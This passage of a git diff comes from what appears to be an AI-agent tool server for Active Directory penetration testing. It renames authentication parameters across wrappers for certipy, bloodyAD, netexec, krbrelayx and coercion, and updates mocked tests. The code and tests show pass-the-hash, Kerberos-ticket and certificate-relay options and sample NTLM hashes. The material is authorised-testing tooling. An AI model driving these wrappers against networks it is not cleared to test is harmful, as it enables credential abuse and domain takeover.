diff --git a/AGENTS.md b/AGENTS.md index d365c01..a7b194d 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -32,6 +32,7 @@ Run these before declaring work complete. Don't bypass hooks — fix the underly - **Raise for failures; no `{"error": str}` unions.** FastMCP surfaces raised exceptions as tool-call errors. Clean for the LLM, clean for the return type. - **Plain dicts, null-omitted, over Pydantic.** LLMs pay tokens for every null-coerced empty field. Return `dict[str, Any]`, drop `None`/`""`/`[]`/`{}`, keep `0` and `False`. - **Disambiguate sibling tools by name.** Encode actor + action + destination when tools are close. Overloading one verb (three `download*` variants) is a pick-the-wrong-one landmine. +- **One auth vocabulary across a tool family.** When sibling tools take the same authentication inputs, name them identically so the agent carries one mental model as it chains them: `nt_hash` for an NTLM hash in `LMHASH:NTHASH` form (never `hash`/`hashes`), `kerberos: bool` to switch on Kerberos. Where a tool accepts an AES key or a credential cache, expose each as its own explicit param (`aes_key`, `ccache`) — never one string disambiguated by length or content. For hosts, `target`/`targets` is the host(s) a tool acts against and `dc_ip` is the domain controller — keep both roles distinct rather than overloading one name. - **After renames, grep the skill/agent/doc layer.** Markdown callers don't fail a build, and LLMs read that prose to form tool-call intent. --- diff --git a/capabilities/network-ops/tests/test_tool_fixes.py b/capabilities/network-ops/tests/test_tool_fixes.py index 3bc7168..d0d5370 100644 --- a/capabilities/network-ops/tests/test_tool_fixes.py +++ b/capabilities/network-ops/tests/test_tool_fixes.py @@ -123,6 +123,7 @@ def _load_module(name: str, filename: str): bloodyad_mod = _load_module("bloodyad", "bloodyad.py") krbrelayx_mod = _load_module("krbrelayx", "krbrelayx.py") netexec_mod = _load_module("netexec", "netexec.py") +coercion_mod = _load_module("coercion", "coercion.py") # The tool modules above import ``._relay`` relatively, so it is already loaded # under the package; reuse that instance rather than loading a second copy. relay_mod = sys.modules.get(f"{_PKG}._relay") or _load_module("_relay", "_relay.py") @@ -202,7 +203,7 @@ async def test_username_and_domain_combined(self): await c.certipy( action="find", args=["-vulnerable"], - target="10.0.0.1", + dc_ip="10.0.0.1", username="Admin", domain="corp.local", ) @@ -220,7 +221,7 @@ async def test_username_with_at_sign_no_double_domain(self): await c.certipy( action="find", args=[], - target="10.0.0.1", + dc_ip="10.0.0.1", username="Admin@corp.local", ) cmd = mock_exec.call_args[0][0] @@ -236,7 +237,7 @@ async def test_username_with_at_and_domain_no_double(self): await c.certipy( action="find", args=[], - target="10.0.0.1", + dc_ip="10.0.0.1", username="Admin@corp.local", domain="corp.local", ) @@ -250,7 +251,7 @@ async def test_no_username_no_u_flag(self): c = self._make_certipy() with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" - await c.certipy(action="find", args=[], target="10.0.0.1") + await c.certipy(action="find", args=[], dc_ip="10.0.0.1") cmd = mock_exec.call_args[0][0] assert "-u" not in cmd @@ -275,7 +276,7 @@ async def test_certipy_find_builds_auth_correctly(self): with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" await c.certipy_find( - target="10.0.0.1", + dc_ip="10.0.0.1", username="Administrator", domain="deltasystems.local", nt_hash="c56b4bc88c94f5b0db14acaaac702fc4", @@ -349,13 +350,13 @@ async def test_passthrough_and_find_default_to_confirm(self): c = self._make_certipy() with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" - await c.certipy(action="find", args=[], target="10.0.0.1") + await c.certipy(action="find", args=[], dc_ip="10.0.0.1") assert self._input_kwarg(mock_exec) == self.CONFIRM c = self._make_certipy() with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" - await c.certipy_find(target="10.0.0.1") + await c.certipy_find(dc_ip="10.0.0.1") assert self._input_kwarg(mock_exec) == self.CONFIRM @pytest.mark.asyncio @@ -368,7 +369,7 @@ async def test_relay_does_not_receive_confirm_stdin(self): patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec, ): mock_relay.return_value = "output" - await c.certipy(action="relay", args=["-target", "http://ca"], target="1.2.3.4") + await c.certipy(action="relay", args=["-target", "http://ca"], dc_ip="1.2.3.4") mock_exec.assert_not_awaited() mock_relay.assert_awaited_once() @@ -380,7 +381,7 @@ async def test_high_level_tools_default_to_confirm(self): with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" await c.certipy_request_certificate( - target="10.0.0.1", + dc_ip="10.0.0.1", ca_server="ca.corp.local", ca_name="corp-CA", template="User", @@ -392,7 +393,7 @@ async def test_high_level_tools_default_to_confirm(self): c = self._make_certipy() with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: mock_exec.return_value = "output" - await c.certipy_certificate_auth(pfx_file="admin.pfx", target="10.0.0.1") + await c.certipy_certificate_auth(pfx_file="admin.pfx", dc_ip="10.0.0.1") assert self._input_kwarg(mock_exec) == self.CONFIRM @pytest.mark.asyncio @@ -531,7 +532,7 @@ def test_petitpotam_with_pipe(self, tmp_path): "10.0.0.2", username="admin", domain="corp.local", - hashes=":abc123", + nt_hash=":abc123", pipe="efsr", ) @@ -874,13 +875,13 @@ def _make_bloodyad(self): return bloodyad_mod.BloodyAD() def _base_kwargs(self): - return {"domain": "domain.local", "username": "alice", "host": "dc01"} + return {"domain": "domain.local", "username": "alice", "dc_ip": "dc01"} def test_bare_nt_hash_uses_leading_colon_password(self): bad = self._make_bloodyad() cmd = bad._build_connection_options( **self._base_kwargs(), - hashes="aad3b435b51404eeaad3b435b51404ee", + nt_hash="aad3b435b51404eeaad3b435b51404ee", ) assert "--hashes" not in cmd p_idx = cmd.index("-p") @@ -889,7 +890,7 @@ def test_bare_nt_hash_uses_leading_colon_password(self): def test_full_lm_nt_hash_passed_through_unchanged(self): bad = self._make_bloodyad() full = "aad3b435b51404eeaad3b435b51404ee:" "31d6cfe0d16ae931b73c59d7e0c089c0" - cmd = bad._build_connection_options(**self._base_kwargs(), hashes=full) + cmd = bad._build_connection_options(**self._base_kwargs(), nt_hash=full) assert "--hashes" not in cmd p_idx = cmd.index("-p") assert cmd[p_idx + 1] == full @@ -899,7 +900,7 @@ def test_password_takes_precedence_over_hashes(self): cmd = bad._build_connection_options( **self._base_kwargs(), password="Summer2026!", - hashes="deadbeef", + nt_hash="deadbeef", ) assert "--hashes" not in cmd p_idx = cmd.index("-p") @@ -910,7 +911,7 @@ def test_password_takes_precedence_over_hashes(self): def test_no_hashes_flag_ever_emitted(self): bad = self._make_bloodyad() - cmd = bad._build_connection_options(**self._base_kwargs(), hashes="deadbeef") + cmd = bad._build_connection_options(**self._base_kwargs(), nt_hash="deadbeef") assert "--hashes" not in cmd @@ -924,7 +925,7 @@ def test_no_hashes_flag_ever_emitted(self): if name.startswith("bloodyad_") ) -_CONNECTION_PARAMS = {"domain", "username", "host"} +_CONNECTION_PARAMS = {"domain", "username", "dc_ip"} _NT_HASH = "aad3b435b51404eeaad3b435b51404ee" @@ -936,7 +937,7 @@ def _call_kwargs_for(method) -> dict: for name, param in inspect.signature(method).parameters.items(): if name == "self": continue - if name == "hashes": + if name == "nt_hash": kwargs[name] = _NT_HASH elif name in _CONNECTION_PARAMS: kwargs[name] = f"test-{name}" @@ -1388,7 +1389,7 @@ async def fake_execute(*args, **kwargs): patch.object(certipy_mod, "stream_listener", side_effect=fake_stream), patch.object(certipy_mod, "execute", side_effect=fake_execute), ): - out = await inst.certipy(action="relay", args=["-target", "http://ca"], target="1.2.3.4") + out = await inst.certipy(action="relay", args=["-target", "http://ca"], dc_ip="1.2.3.4") assert out == "relayed" assert captured["timeout"] == 7 @@ -1408,7 +1409,7 @@ async def fake_stream(*args, **kwargs): patch.object(certipy_mod, "execute", side_effect=fake_execute), patch.object(certipy_mod, "stream_listener", side_effect=fake_stream), ): - out = await inst.certipy(action="find", args=["-enabled"], target="1.2.3.4") + out = await inst.certipy(action="find", args=["-enabled"], dc_ip="1.2.3.4") assert out == "executed" @@ -1506,3 +1507,220 @@ async def test_output_is_capped(self): assert "Output truncated at 1000 bytes" in out # Retained output stays bounded near the cap, not the full ~5 KB. assert len(out) < 2000 + + +# =================================================================== +# Netexec: explicit Kerberos params (no AES-key-vs-ccache length guess) +# =================================================================== + + +class TestNetexecKerberos: + """netexec routes Kerberos auth by explicit parameter. + + aes_key maps to --aesKey; ccache maps to --use-kcache with KRB5CCNAME; the + two are mutually exclusive; kerberos alone adds -k. Routing is by parameter, + independent of the value's length. + """ + + def _make_netexec(self): + nx = netexec_mod.Netexec() + nx.timeout = 60 + nx.variant = "all" + return nx + + @pytest.mark.asyncio + async def test_64_char_ccache_path_uses_kcache_not_aeskey(self): + nx = self._make_netexec() + # A 64-character ccache path must route by its parameter, not its length. + ccache_path = "/tmp/" + "a" * 59 + assert len(ccache_path) == 64 + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await nx.netexec("smb", ["10.0.0.1"], [], ccache=ccache_path) + cmd = mock_exec.call_args[0][0] + env = mock_exec.call_args[1].get("env") + assert "-k" in cmd + assert "--use-kcache" in cmd + assert "--aesKey" not in cmd + assert env == {"KRB5CCNAME": ccache_path} + + @pytest.mark.asyncio + async def test_aes_key_uses_aeskey_flag(self): + nx = self._make_netexec() + aes_key = "a" * 64 + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await nx.netexec("smb", ["10.0.0.1"], [], aes_key=aes_key) + cmd = mock_exec.call_args[0][0] + env = mock_exec.call_args[1].get("env") + assert "-k" in cmd + assert cmd[cmd.index("--aesKey") + 1] == aes_key + assert "--use-kcache" not in cmd + assert env is None + + @pytest.mark.asyncio + async def test_non_standard_length_aes_key_still_aeskey(self): + """An AES key of any length routes to --aesKey by its parameter.""" + nx = self._make_netexec() + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await nx.netexec("smb", ["10.0.0.1"], [], aes_key="deadbeef") + cmd = mock_exec.call_args[0][0] + assert "--aesKey" in cmd + assert "--use-kcache" not in cmd + + @pytest.mark.asyncio + async def test_kerberos_bool_only(self): + nx = self._make_netexec() + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await nx.netexec("smb", ["10.0.0.1"], [], kerberos=True) + cmd = mock_exec.call_args[0][0] + env = mock_exec.call_args[1].get("env") + assert "-k" in cmd + assert "--aesKey" not in cmd + assert "--use-kcache" not in cmd + assert env is None + + @pytest.mark.asyncio + async def test_aes_key_and_ccache_conflict_raises(self): + nx = self._make_netexec() + with patch.object(netexec_mod, "execute", new_callable=AsyncMock): + with pytest.raises(ValueError, match="only one of aes_key or ccache"): + await nx.netexec("smb", ["10.0.0.1"], [], aes_key="a" * 32, ccache="/tmp/ccache") + + @pytest.mark.asyncio + async def test_nt_hash_routes_to_H_flag(self): + nx = self._make_netexec() + nt_hash = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await nx.netexec("smb", ["10.0.0.1"], [], nt_hash=nt_hash) + cmd = mock_exec.call_args[0][0] + assert cmd[cmd.index("-H") + 1] == nt_hash + + +# Every kerberos-bearing netexec wrapper re-forwards aes_key/ccache by hand; a +# copy-paste that dropped one would silently discard the credential. +_NETEXEC_WRAPPERS = [ + lambda n, **kw: n.netexec_smb_enum(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_smb_auth(["10.0.0.1"], "admin", **kw), + lambda n, **kw: n.netexec_smb_enum_group_members(["10.0.0.1"], ["Domain Admins"], **kw), + lambda n, **kw: n.netexec_smb_enum_shares(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_ldap_enum(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_ldap_auth(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_ldap_enum_group_members(["10.0.0.1"], ["Domain Admins"], **kw), + lambda n, **kw: n.netexec_smb(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_ldap(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_mssql(["10.0.0.1"], **kw), + lambda n, **kw: n.netexec_wmi(["10.0.0.1"], **kw), +] + + +class TestNetexecWrapperForwarding: + def _make_netexec(self): + nx = netexec_mod.Netexec() + nx.timeout = 60 + nx.variant = "all" + return nx + + @pytest.mark.parametrize("call", _NETEXEC_WRAPPERS) + @pytest.mark.asyncio + async def test_wrapper_forwards_aes_key(self, call): + nx = self._make_netexec() + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await call(nx, aes_key="a" * 32) + assert "--aesKey" in mock_exec.call_args[0][0] + + @pytest.mark.parametrize("call", _NETEXEC_WRAPPERS) + @pytest.mark.asyncio + async def test_wrapper_forwards_ccache(self, call): + nx = self._make_netexec() + with patch.object(netexec_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await call(nx, ccache="/tmp/krb5cc") + assert "--use-kcache" in mock_exec.call_args[0][0] + + +# =================================================================== +# Certipy: nt_hash accepts the family-wide LMHASH:NTHASH format +# =================================================================== + + +class TestCertipyHashFormat: + def _make_certipy(self): + c = certipy_mod.Certipy() + c.certipy_cmd = "certipy" + c.timeout = 10 + return c + + @pytest.mark.asyncio + async def test_full_lmhash_nthash_passed_verbatim(self): + c = self._make_certipy() + full = "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0" + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy_find(dc_ip="10.0.0.1", username="u", domain="d", nt_hash=full) + cmd = mock_exec.call_args[0][0] + assert cmd[cmd.index("-hashes") + 1] == full + + @pytest.mark.asyncio + async def test_bare_nt_hash_gets_empty_lm_half(self): + c = self._make_certipy() + nt = "31d6cfe0d16ae931b73c59d7e0c089c0" + with patch.object(certipy_mod, "execute", new_callable=AsyncMock) as mock_exec: + mock_exec.return_value = "output" + await c.certipy_find(dc_ip="10.0.0.1", username="u", domain="d", nt_hash=nt) + cmd = mock_exec.call_args[0][0] + assert cmd[cmd.index("-hashes") + 1] == f":{nt}" + + +# =================================================================== +# Auth parameter naming consistency across the tool family +# =================================================================== + + +class TestAuthParamNaming: + """Sibling tools share one auth vocabulary: nt_hash + kerberos, never + hash / hashes / use_kerberos / host.""" + + _AUTH_TOOLSETS = [ + (netexec_mod, "Netexec"), + (impacket_mod, "Impacket"), + (bloodyad_mod, "BloodyAD"), + (krbrelayx_mod, "Krbrelayx"), + (coercion_mod, "Coercion"), + (certipy_mod, "Certipy"), + ] + _BANNED = ("hash", "hashes", "use_kerberos", "host") + + def test_no_legacy_auth_param_names_in_any_method(self): + offenders: list[str] = [] + for mod, cls_name in self._AUTH_TOOLSETS: + cls = getattr(mod, cls_name) + for name in dir(cls): + if name.startswith("_"): + continue + attr = getattr(cls, name) + if not callable(attr): + continue + try: + params = inspect.signature(attr).parameters + except (TypeError, ValueError): + continue + offenders.extend( + f"{cls_name}.{name}({banned})" for banned in self._BANNED if banned in params + ) + assert not offenders, f"legacy auth param names remain: {offenders}" + + def test_netexec_kerberos_is_bool_with_aes_key_and_ccache(self): + params = inspect.signature(netexec_mod.Netexec.netexec).parameters + assert params["kerberos"].default is False + assert "aes_key" in params + assert "ccache" in params + + def test_certipy_uses_dc_ip_not_target(self): + params = inspect.signature(certipy_mod.Certipy.certipy).parameters + assert "dc_ip" in params + assert "target" not in params diff --git a/capabilities/network-ops/tools/bloodyad.py b/capabilities/network-ops/tools/bloodyad.py index a5882b1..3a7fe64 100644 --- a/capabilities/network-ops/tools/bloodyad.py +++ b/capabilities/network-ops/tools/bloodyad.py @@ -53,11 +53,11 @@ def _build_connection_options( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, ) -> list[str]: """ Build connection option arguments for bloodyAD commands. @@ -65,29 +65,29 @@ def _build_connection_options( Args: domain: Domain name. username: Username for authentication. - host: Domain controller hostname or IP. + dc_ip: Domain controller to connect to (hostname or IP). password: Password for authentication. - hashes: NTLM hash for pass-the-hash, as ``LMHASH:NTHASH`` or a bare NT hash. - use_kerberos: Use Kerberos authentication. - dc_ip: Optional DC IP to override DNS. + nt_hash: NTLM hash for pass-the-hash, as ``LMHASH:NTHASH`` or a bare NT hash. + kerberos: Use Kerberos authentication. + dc_ip_override: Optional DC IP to override DNS resolution. Returns: List of connection option arguments. """ - cmd = ["-u", username, "-d", domain, "-H", host] + cmd = ["-u", username, "-d", domain, "-H", dc_ip] if password: cmd.extend(["-p", password]) - elif hashes: + elif nt_hash: # bloodyAD takes a hash through the password field: -p LMHASH:NTHASH, # or -p :NTHASH when only the NT half is known. - cmd.extend(["-p", hashes if ":" in hashes else f":{hashes}"]) + cmd.extend(["-p", nt_hash if ":" in nt_hash else f":{nt_hash}"]) - if use_kerberos: + if kerberos: cmd.append("-k") - if dc_ip: - cmd.extend(["--dc-ip", dc_ip]) + if dc_ip_override: + cmd.extend(["--dc-ip", dc_ip_override]) return cmd @@ -98,11 +98,11 @@ async def bloodyad_get_object( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, attributes: list[str] | None = None, resolve: bool = False, env: dict[str, str] | None = None, @@ -119,11 +119,11 @@ async def bloodyad_get_object( object_name: The AD object to query (DN, sAMAccountName, or other identifier). domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. attributes: List of specific attributes to retrieve (e.g., ['memberOf', 'mail']). resolve: Resolve DNs in attributes to human-readable names. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). @@ -134,11 +134,11 @@ async def bloodyad_get_object( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -165,11 +165,11 @@ async def bloodyad_get_children( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, object_type: str | None = None, attributes: list[str] | None = None, env: dict[str, str] | None = None, @@ -186,11 +186,11 @@ async def bloodyad_get_children( target_dn: The target DN or container to query (e.g., 'DC=domain,DC=local'). domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. object_type: Filter by object type (e.g., 'user', 'computer', 'group'). attributes: List of specific attributes to retrieve. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). @@ -201,11 +201,11 @@ async def bloodyad_get_children( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -232,11 +232,11 @@ async def bloodyad_get_membership( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, no_recurse: bool = False, env: dict[str, str] | None = None, input: str | None = None, @@ -252,11 +252,11 @@ async def bloodyad_get_membership( object_name: The user or group to query for memberships. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. no_recurse: Don't recurse into nested groups. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. @@ -266,11 +266,11 @@ async def bloodyad_get_membership( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -293,11 +293,11 @@ async def bloodyad_get_writable( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -312,11 +312,11 @@ async def bloodyad_get_writable( target_username: The user to check for write access. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -325,11 +325,11 @@ async def bloodyad_get_writable( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -348,11 +348,11 @@ async def bloodyad_get_dnsdump( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -366,11 +366,11 @@ async def bloodyad_get_dnsdump( Args: domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -379,11 +379,11 @@ async def bloodyad_get_dnsdump( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -402,11 +402,11 @@ async def bloodyad_get_trusts( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -420,11 +420,11 @@ async def bloodyad_get_trusts( Args: domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -433,11 +433,11 @@ async def bloodyad_get_trusts( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -457,11 +457,11 @@ async def bloodyad_get_search( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, base_dn: str | None = None, attributes: list[str] | None = None, env: dict[str, str] | None = None, @@ -478,11 +478,11 @@ async def bloodyad_get_search( ldap_filter: LDAP filter query (e.g., '(objectClass=user)' or '(servicePrincipalName=*)'). domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. base_dn: Base DN for the search (e.g., 'DC=domain,DC=local'). attributes: List of attributes to retrieve. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). @@ -493,11 +493,11 @@ async def bloodyad_get_search( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -525,11 +525,11 @@ async def bloodyad_add_groupmember( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, env: dict[str, str] | None = None, input: str | None = None, ) -> str: @@ -545,11 +545,11 @@ async def bloodyad_add_groupmember( member_name: The user or computer to add to the group. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. """ @@ -558,11 +558,11 @@ async def bloodyad_add_groupmember( *self._build_connection_options( domain=domain, username=username, - host=host, - password=password, - hashes=hashes, - use_kerberos=use_kerberos, dc_ip=dc_ip, + password=password, + nt_hash=nt_hash, + kerberos=kerberos, + dc_ip_override=dc_ip_override, ), ] @@ -582,11 +582,11 @@ async def bloodyad_add_computer( *, domain: str, username: str, - host: str, + dc_ip: str, password: str | None = None, - hashes: str | None = None, - use_kerberos: bool = False, - dc_ip: str | None = None, + nt_hash: str | None = None, + kerberos: bool = False, + dc_ip_override: str | None = None, computer_password: str | None = None, env: dict[str, str] | None = None, input: str | None = None, @@ -602,11 +602,11 @@ async def bloodyad_add_computer( computer_name: The name of the computer account to create. domain: Domain name (e.g., 'domain.local'). username: Username for authentication. - host: Hostname or IP address of the domain controller. - password: Password for authentication. Use either this or hashes. - hashes: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. - use_kerberos: Use Kerberos authentication (requires -k flag). - dc_ip: Optional DC IP address to override DNS resolution. + dc_ip: Domain controller to connect to (hostname or IP). + password: Password for authentication. Use either this or nt_hash. + nt_hash: NTLM hashes in LMHASH:NTHASH format for pass-the-hash. + kerberos: Use Kerberos authentication (requires -k flag). + dc_ip_override: Optional DC IP address to override DNS resolution. computer_password: Optional password for the computer account. env: Optional environment variables (e.g., KRB5CCNAME for Kerberos). input: Optional input string to pass to the command's stdin. @@ -616,11 +616,11 @@ async def bloodyad_add_computer( *self._build_connection_options( domain=domain, 